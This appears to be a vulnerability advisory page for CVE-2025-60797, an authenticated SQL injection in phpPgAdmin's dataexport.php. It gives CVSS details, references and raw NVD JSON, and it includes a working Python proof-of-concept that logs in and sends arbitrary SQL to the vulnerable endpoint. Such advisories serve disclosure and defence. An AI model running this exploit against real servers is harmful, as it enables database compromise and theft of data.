CVE-2025-60797

Description

phpPgAdmin 7.13.0 and earlier contains a SQL injection vulnerability in dataexport.php at line 118. The application directly executes user-supplied SQL queries from the $_REQUEST['query'] parameter without any sanitization or parameterization via $data->conn->Execute($_REQUEST['query']). An authenticated attacker can exploit this vulnerability to execute arbitrary SQL commands, potentially leading to complete database compromise, data theft, or privilege escalation.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:phppgadmin_project:phppgadmin:*:*:*:*:*:*:*:* - VULNERABLE

phpPgAdmin <= 7.13.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2025-60797 SQL Injection PoC for phpPgAdmin <= 7.13.0
# Target: phpPgAdmin dataexport.php
# Authentication required

def exploit_sqli(target_url, username, password, sqli_payload):
    """
    Exploit SQL injection in phpPgAdmin dataexport.php
    sqli_payload: Custom SQL injection payload
    """
    # Login to phpPgAdmin
    login_url = target_url.rstrip('/') + '/login.php'
    login_data = {
        'username': username,
        'password': password,
        'submit': 'Login'
    }
    
    session = requests.Session()
    resp = session.post(login_url, data=login_data, verify=False)
    
    if 'Login failed' in resp.text:
        print('[-] Login failed')
        return None
    
    print('[+] Login successful')
    
    # Exploit SQL injection
    exploit_url = target_url.rstrip('/') + '/dataexport.php'
    exploit_data = {
        'query': sqli_payload,
        'format': 'csv'
    }
    
    resp = session.post(exploit_url, data=exploit_data, verify=False)
    return resp.text

if __name__ == '__main__':
    target = 'https://vulnerable-server/phppgadmin'
    
    # Example: Extract database version
    payload = "SELECT version()"
    result = exploit_sqli(target, 'admin', 'password', payload)
    print(result)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60797
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60797
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60797/
[4] VulDB https://vuldb.com/cve/CVE-2025-60797
[5] https://github.com/phppgadmin/phppgadmin/blob/master/dataexport.php#L118
[6] https://github.com/pr0wl1ng/security-advisories/blob/main/CVE-2025-60797.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-60797", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:38.250", "lastModified": "2025-11-25T19:13:30.203", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpPgAdmin 7.13.0 and earlier contains a SQL injection vulnerability in dataexport.php at line 118. The application directly executes user-supplied SQL queries from the $_REQUEST['query'] parameter without any sanitization or parameterization via $data->conn->Execute($_REQUEST['query']). An authenticated attacker can exploit this vulnerability to execute arbitrary SQL commands, potentially leading to complete database compromise, data theft, or privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phppgadmin_project:phppgadmin:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.13.0", "matchCriteriaId": "AC3CB38F-12CA-4FA6-98DB-FFCC98F26715"}]}]}], "references": [{"url": "https://github.com/phppgadmin/phppgadmin/blob/master/dataexport.php#L118", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/pr0wl1ng/security-advisories/blob/main/CVE-2025-60797.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}